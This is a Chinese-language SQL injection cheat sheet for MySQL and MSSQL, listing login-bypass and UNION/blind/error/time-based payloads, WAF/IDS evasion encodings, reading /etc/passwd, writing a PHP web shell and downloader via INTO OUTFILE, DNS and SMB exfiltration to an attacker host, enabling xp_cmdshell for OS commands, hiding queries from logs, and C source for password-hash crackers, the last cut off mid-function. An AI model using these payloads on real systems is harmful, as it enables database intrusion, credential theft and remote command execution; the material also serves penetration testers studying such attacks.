sql备忘录

 

MYSQL

  默认数据库

mysql Requires root privileges
information_schema Availalble from version 5 and higher

  测试注射

False表示查询无效(MySQL错误/网站上缺少内容)

True表示查询有效(内容像往常一样显示)

字符串

     # SELECT * FROM Table WHERE id = '1';

' False
'' True
" False
"" True
\ False
\\ True
    例子:
      • SELECT * FROM Articles WHERE id = '1''';
      • SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';

    笔记:

      • 可以根据需要使用尽可能多的撇号和引号,只要它们配对即可。
      • 也可以在引号链后继续声明。
      • 报价逃脱报价。

  数字

    #SELECT * FROM Table WHERE id = 1;

AND 1 True
AND 0 False
AND true True
AND false False
1-false Returns 1 if vulnerable
1-true Returns 0 if vulnerable
1*56 Returns 56 if vulnerable
1*56 Returns 1 if not vulnerable

例子:

      • SELECT * FROM Users WHERE id = 3-2;

      笔记:

      • true is equal to 1.
      • false is equal to 0.

 

  登陆框

    # SELECT * FROM Table WHERE username = '';

' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+


  例子:

      • SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

  注释 

    注入后,以下内容可用于注释掉查询的其余部分:

# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick


例子:

      • SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
      • SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

    笔记:

      • 反引号只能在用作别名时用于结束查询。

  测试版本

    • 变量
    • VERSION()
    • @@VERSION
    • @@GLOBAL.VERSION
      例子:
      • SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

      笔记:

      • -nt-log如果DBMS在基于Windows的计算机上运行,​​则 输出将包含 。
    • 具体代码

      • /*!VERSION Specific Code*/

      例子:

        #SELECT * FROM Users limit 1,{INJECTION POINT};

/*!50094eaea*/; False - version is equal or greater than 5.00.94
/*!50096eaea*/; True - version is lesser than 5.00.96
/*!50095eaea*/; False - version is equal to 5.00.95

  笔记:

      • 在由于注入位置而无法再向查询添加SQL的情况下,确定版本非常有用。
      • 有关MySQL特定代码的更多信息,请参阅特定MySQL的代码

  数据库凭据

Table mysql.user
Columns user, password
Current User user(), current_user(), current_user, system_user(), session_user()


  例子:

      • SELECT current_user;
      • SELECT CONCAT_WS(0x3A, userpassword) FROM mysql.user WHERE user = 'root'-- (Privileged)

  数据库名称

Tables information_schema.schemata, mysql.db
Columns schema_name, db
Current DB database(), schema()


 例子:

      • SELECT database();
      • SELECT schema_name FROM information_schema.schemata;
      • SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

  服务器主机名

      • @@HOSTNAME

      例子:

      • SELECT @@hostname;

  服务器MAC地址

    通用唯一标识符是128位数字,其中最后12位数字由接口MAC地址组成。

      • UUID()

    输出:

      • aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;

    笔记:

      • 可能会在某些操作系统上返回48位随机字符串而不是MAC地址。

  表和列

    order & group by

      • GROUP/ORDER BY n+1;

    笔记:

      • 继续增加数字,直到得到错误的回复。
      • 尽管GROUP BY和ORDER BY在SQL中具有不同的功能,但它们都可以以完全相同的方式用于确定查询中的列数。
    例子:

        #SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';

1' ORDER BY 1--+ True
1' ORDER BY 2--+ True
1' ORDER BY 3--+ True
1' ORDER BY 4--+ False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--+ True

  检索表

  • Union
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
  • Blind
AND SELECT SUBSTR(table_name,1,1)FROM information_schema.tables>'A'
  • Error
AND(SELECT COUNT(*)FROM(SELECT 1 UNION SELECT null UNION SELECT!1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)* 2)))
(@:= 1)|| @ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@ )HAVING @ || MIN(@:= 0);
AND ExtractValue(1,CONCAT(0x5c,(SELECT table_name FROM information_schema.tables LIMIT 1))); - 5.1.5中可用

    笔记:

        • version=10 for MySQL 5

 

  检索列

  • Union
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
  • Blind
AND SELECT SUBSTR(column_name,1,1)FROM information_schema.columns>'A'
  • Error
AND(SELECT COUNT(*)FROM(SELECT 1 UNION SELECT null UNION SELECT!1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)* 2)))
(@:= 1)|| @ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@ )HAVING @ || MIN(@:= 0);
AND ExtractValue(1,CONCAT(0x5c,(SELECT column_name FROM information_schema.columns LIMIT 1))); - 在MySQL 5.1.5中可用
AND(1,2,3)=(SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1) - 在MySQL 5.1中修复
AND(SELECT * FROM(SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b)a)
AND(SELECT * FROM(SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING(SOME_EXISTING_COLUMN))a)

一次检索多个表/列

    • SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

      例子:

      • SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

      输出:    

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
      • SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

      例子:

      • SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';

      输出:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority  

  从列名称中查找表

SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; Finds the table names for any columns named username.
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; Finds the table names for any columns that contain the word user.

  从表名中查找列

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; Finds the columns for the Users table.
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; Finds the column names for any tables that contain the word user.

  找出当前的查询

SELECT info FROM information_schema.processlist Available starting from MySQL 5.1.7.

  避免引用

SELECT * FROM Users WHERE username = 0x61646D696E Hex encoding.
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) CHAR() Function.

  字符串连接

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

笔记:

      • CONCAT()如果任何参数为NULL,则返回NULL。而是使用CONCAT_WS()
      • 第一个参数CONCAT_WS()定义了其余参数的分隔符。

  条件陈述

CASE
IF()
IFNULL()
NULLIF()

      例子:

      • SELECT IF(1=1, true, false);
      • SELECT CASE WHEN 1=1 THEN true ELSE false END;

  定时

SLEEP() MySQL 5
BENCHMARK() MySQL 4/5


例子:

      • ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

  特权

    文件权限

      • 以下查询可帮助确定给定用户的FILE权限。
SELECT file_priv FROM mysql.user WHERE user = 'username'; Root privileges required MySQL 4/5
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; No privileges required MySQL 5

    读取文件

      • 如果用户具有FILE权限,则可以读取文件。
      • LOAD_FILE()

      例子:

      • SELECT LOAD_FILE('/etc/passwd');
      • SELECT LOAD_FILE(0x2F6574632F706173737764);

      笔记:

      • 文件必须位于服务器主机上。
      • LOAD_FILE()的基本目录是 @@datadir 
      • 该文件必须是MySQL用户可读的。
      • 文件大小必须小于max_allowed_pa​​cket。
      • 默认大小为 @@max_allowed_packet 1047552字节。

   写文件

    • 如果用户具有FILE权限,则可以创建文件。
      • INTO OUTFILE/DUMPFILE


      例子:

      • 编写PHP shell:
      • SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
      • 然后访问:
      • http://localhost/shell.php?c=cat%20/etc/passwd
      • 要写下载器:
      • SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
      • 然后访问:
      • http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

      笔记:

      • 文件无法覆盖 INTO OUTFILE 
      • INTO OUTFILE 必须是查询中的最后一个语句。
      • 无法对路径名进行编码,因此需要引号

  通道

      DNS 请求

 

SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

  SMB 请求

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

    堆叠查询

    MySQL可以进行堆栈查询,具体取决于PHP应用程序使用哪个驱动程序与数据库进行通信。

    该 PDO_MYSQL 驱动程序支持堆查询。 MySQLi (改进扩展)驱动程序还支持通过堆查询 multi_query() 功能。

     例子:

        • SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
        • SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;

MySQL-specific 代码

    MySQL允许您指定感叹号后的版本号。仅当版本大于或等于指定的版本号时,才会执行注释中的语法。

      例子:

      • UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
      • SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

      笔记:

      • 第一个示例返回版本; 它使用一个有2列的UNION。
      • 第二个示例演示了如何绕过WAF / IDS。

  模糊和混淆

    以下字符可用作空格。

 

09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space


  例子:

      • '%0A%09UNION%0CSELECT%A0NULL%20%23

    括号也可用于避免使用空格。

 

28 (
29 )


  例子:

        • UNION(SELECT(column)FROM(table))

    AND / OR后允许的字符

 

20 Space
2B +
2D -
7E ~
21 !
40 @


  例子:

        • SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

      笔记:

        • dual 是一个可用于测试的虚拟表。

    用注释混淆

      注释可用于分解查询以欺骗WAF / IDS并避免检测。通过使用#或 - 后跟换行符,我们可以将查询拆分为单独的行。

    例子:

      • 1'# 
        AND 0-- 
        UNION# I am a comment! 
        SELECT@tmp:=table_name x FROM-- 
        `information_schema`.tables LIMIT 1# 

    URL编码注入看起来像:

      • 1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

    某些函数也可以使用注释和空格进行混淆。

      • VERSION/**/%A0 (/*comment*/

    编码

      编码注射有时可用于WAF / IDS规避。

URL Encoding SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP) SELECT %tab%le_%na%me FROM information_schema.tables;

    避免关键字

  如果IDS / WAF已阻止某些关键字,则可以通过其他方式绕过它而不使用编码。

      • information_schema.tables
Spaces information_schema . tables
Backticks `information_schema`.`tables`
Specific Code /*!information_schema.tables*/
Alternative Names information_schema.partitions 
information_schema.statistics 
information_schema.key_column_usage 
information_schema.table_constraints

  笔记:

      • 备用名称可能取决于表中存在的PRIMARY键。

  运算符

AND && Logical AND
= Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement)
:= Assign a value
BETWEEN ... AND ... Check whether a value is within a range of values
BINARY Cast a string to a binary string
& Bitwise AND
~ Invert bits
| Bitwise OR
^ Bitwise XOR
CASE Case operator
DIV Integer division
/ Division operator
<=> NULL-safe equal to operator
= Equal operator
>= Greater than or equal operator
> Greater than operator
IS NOT NULL NOT NULL value test
IS NOT Test a value against a boolean
IS NULL NULL value test
IS Test a value against a boolean
<< Left shift
<= Less than or equal operator
< Less than operator
LIKE Simple pattern matching
- Minus operator
% or MOD Modulo operator
NOT BETWEEN ... AND ... Check whether a value is not within a range of values
!= <> Not equal operator
NOT LIKE Negation of simple pattern matching
NOT REGEXP Negation of REGEXP
NOT ! Negates value
|| OR Logical OR
+ Addition operator
REGEXP Pattern matching using regular expressions
>> Right shift
RLIKE Synonym for REGEXP
SOUNDS LIKE Compare sounds
* Multiplication operator
- Change the sign of the argument
XOR Logical XOR

  常量

 

current_user
null, \N
true, false

 密码哈希

  在MySQL 4.1之前,由PASSWORD()函数计算的密码哈希长度为1​​6个字节。这样的哈希看起来像这样:

PASSWORD('mypass') 6f8c114b58f2ce9e

从MySQL 4.1开始,PASSWORD()函数已被修改为产生更长的41字节哈希值:

PASSWORD('mypass') *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

 密码破解

Cain&Abel和John the Ripper都能够破解MySQL 3.x-6.x密码。

可以在此处找到JTR的Metasploit模块

MySQL < 4.1 Password Cracker

  这个工具是一个用于MySQL哈希密码的高速暴力密码破解程序。它可以在普通PC上在几小时内打破包含任何可打印ASCII字符的8个字符的密码。

/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar('\n');
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}
                
View Code

MSSQL

默认数据库

pubs Not available on MSSQL 2005
model Available in all versions
msdb Available in all versions
tempdb Available in all versions
northwind Available in all versions
information_schema Availalble from MSSQL 2000 and higher

注释掉查询

注入后,以下内容可用于注释掉查询的其余部分:

/* C-style comment
-- SQL comment
;%00 Nullbyte


  例子:

        • SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
        • SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

   测试版本

      • @@VERSION


      例子:

      • 如果MSSQL版本是2008,则为True
      • SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';

      笔记:

      • 输出还将包含Windows操作系统的版本。

   数据库凭据

 

 

 

Database..Table master..syslogins, master..sysprocesses
Columns name, loginame
Current User user, system_user, suser_sname(), is_srvrolemember('sysadmin')
Database Credentials SELECT user, password FROM master.dbo.sysxlogins


  例子:

        • 返回当前用户:
        • SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
        • 检查用户是否是管理员:
        • SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

    数据库名称

 

 

Database.Table master..sysdatabases
Column name
Current DB DB_NAME(i)


 例子:

        • SELECT DB_NAME(5);
        • SELECT name FROM master..sysdatabases;

    服务器主机名

 

 

@@SERVERNAME
SERVERPROPERTY()


  例子:

        • SELECT SERVERPROPERTY('productversion')SERVERPROPERTY('productlevel')SERVERPROPERTY('edition');

      笔记:

      • SERVERPROPERTY()可从MSSQL 2005及更高版本获得。

    表和列

        确定列数

        • ORDER BY n+1;

      例子:

          # SELECT username, password, permission FROM Users WHERE id = '1';

 

1' ORDER BY 1-- True
1' ORDER BY 2-- True
1' ORDER BY 3-- True
1' ORDER BY 4-- False - Query is only using 3 columns
-1' UNION SELECT 1,2,3-- True

 笔记:

      • 继续增加数字,直到得到错误的回复。

以下内容可用于获取当前查询中的列

      • GROUP BY / HAVING

      例子:

        #SELECT username, password, permission FROM Users WHERE id = '1';

1' HAVING 1=1-- Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username HAVING 1=1-- Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password HAVING 1=1-- Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password, permission HAVING 1=1-- No Error

      笔记:

        • 一旦包含所有列,将不会返回任何错误。

    检索表

    我们可以从两个不同的数据库中检索表,info_schema.tables或master..sysobjects。

    • Union
UNION SELECT name FROM master..sysobjects WHERE xtype ='U'
    • Blind
AND SELECT SUBSTRING(table_name,1,1)FROM information_schema.tables>'A'
    • Error
AND 1 =(SELECT TOP 1 table_name FROM information_schema.tables)
AND 1 =(SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

    笔记:

        • Xtype ='U'用于用户定义的表。您可以使用“V”查看视图。

    检索列

     我们可以从两个不同的数据库中检索列,即information_schema.columns或masters..syscolumns。

    • Union
UNION SELECT name FROM master..syscolumns WHERE id =(SELECT id FROM master..syscolumns WHERE name ='tablename')
    • Blind
AND SELECT SUBSTRING(column_name,1,1)FROM information_schema.columns>'A'
    • Error
AND 1 =(SELECT TOP 1 column_name FROM information_schema.columns)
AND 1 =(SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

    一次检索多个表/列

      以下3个查询将创建临时表/列,并将所有用户定义的表插入其中。然后它将转储表内容并通过删除表完成。

        • 创建临时表/列并插入数据:
        • AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
        • 转储内容:
        • AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
        • 删除表:
        • AND 1=0; DROP TABLE TMP_DB;

      从MSSQL 2005及更高版本开始,可以使用更简单的方法。XML函数path()用作连接器,允许使用1个查询检索所有表。

 

SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') SQL Server 2005+

  笔记:

        • 您可以使用十六进制对查询进行编码,以“混淆”您的攻击
        • ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

  避免引用

 

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)

    字符串连接

 

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';

    条件陈述

IF
CASE


例子:

        • IF 1=1 SELECT 'true' ELSE SELECT 'false';
        • SELECT CASE WHEN 1=1 THEN true ELSE false END;

      笔记:

      • IF不能在SELECT语句中使用。

    定时

      • WAITFOR DELAY 'time_to_pass';
      • WAITFOR TIME 'time_to_execute';

        例子:

        • IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

    OPENROWSET攻击

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

    系统命令执行

  包括一个名为xp_cmdshell的扩展存储过程,可用于执行操作系统命令。

      • EXEC master.dbo.xp_cmdshell 'cmd';

 

      从版本MSSQL 2005及更高版本开始,默认情况下禁用xp_cmdshell,但可以使用以下查询激活:

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure


 或者,您可以创建自己的过程以获得相同的结果:

DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

 

   如果SQL版本高于2000,则必须运行其他查询才能执行上一个命令:

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure


例子:

        • 检查xp_cmdshell是否已加载,如果是,则检查它是否处于活动状态,然后继续运行'dir'命令并将结果插入TMP_DB:
        • ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
        • 转储内容
        • ' UNION SELECT tbl FROM TMP_DB--
        • 删除表
        • ' DROP TABLE TMP_DB--

   SP_PASSWORD(隐藏查询)

 

      将sp_password附加到查询的末尾会将其作为安全措施从T-SQL日志中隐藏。

 

      • SP_PASSWORD

        例子:

        • ' AND 1=1--sp_password

        输出:

- 在此事件的文本中找到了“sp_password”。
- 出于安全原因,该文本已被此注释替换。

   堆叠查询

      MSSQL支持堆栈查询。

      例子:

      • ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');

   模糊和混淆

    以下字符可用作空格。

01 Start of Heading
02 Start of Text
03 End of Text
04 End of Transmission
05 Enquiry
06 Acknowledge
07 Bell
08 Backspace
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
0E Shift Out
0F Shift In
10 Data Link Escape
11 Device Control 1
12 Device Control 2
13 Device Control 3
14 Device Control 4
15 Negative Acknowledge
16 Synchronous Idle
17 End of Transmission Block
18 Cancel
19 End of Medium
1A Substitute
1B Escape
1C File Separator
1D Group Separator
1E Record Separator
1F Unit Separator
20 Space
25 %


例子:

      • S%E%L%E%C%T%01column%02FROM%03table;
      • A%%ND 1=%%%%%%%%1;

      笔记:

      • 关键字之间的百分比符号仅适用于ASP(x)Web应用程序。

    以下字符也可用于避免使用空格。

 

22 "
28 (
29 )
5B [
5D ]


  例子:

      • UNION(SELECT(column)FROM(table));
      • SELECT"table_name"FROM[information_schema].[tables];

    AND / OR后允许的字符

01 - 20 Range
21 !
2B +
2D -
2E .
5C \
7E ~


例子:

      • SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

      笔记:

      • The backslash does not seem to work with MSSQL 2000.

   编码

      编码注射有时可用于WAF / IDS规避。

URL Encoding SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP) SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (Needs to be verified) %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

   密码哈希

      密码以0x0100开头,0x后面的字节的第一个是常量; 接下来的8个字节是散列盐,剩下的80个字节是两个散列,前40个字节是密码的区分大小写的散列,而后40个字节是大写的。

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

   密码破解

可以在此处找到JTR的Metasploit模块

   MSSQL 2000密码破解程序

此工具旨在破解Microsoft SQL Server 2000密码。

/////////////////////////////////////////////////////////////////////////////////
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
             int err = 0;
        if(argc !=3)
                  {
                            printf("\n\n*** SQLCrack *** \n\n");
                            printf("C:\\>%s hash passwd-file\n\n",argv[0]);
                            printf("David Litchfield (david@ngssoftware.com)\n");
                            printf("24th June 2002\n");
                            return 0;
                  }
        err = OpenPasswordFile(argv[2]);
        if(err !=0)
         {
           return printf("\nThere was an error opening the password file %s\n",argv[2]);
         }
        err = CrackPassword(argv[1]);
        fclose(fd);
        printf("\n\n%d",wd);
        return 0;
}
int OpenPasswordFile(char *pwdfile)
{
        fd = fopen(pwdfile,"r");
        if(fd)
                  return 0;
        else
                  return 1;
}
int CrackPassword(char *hash)
{
        char phash[100]="";
        char pheader[8]="";
        char pkey[12]="";
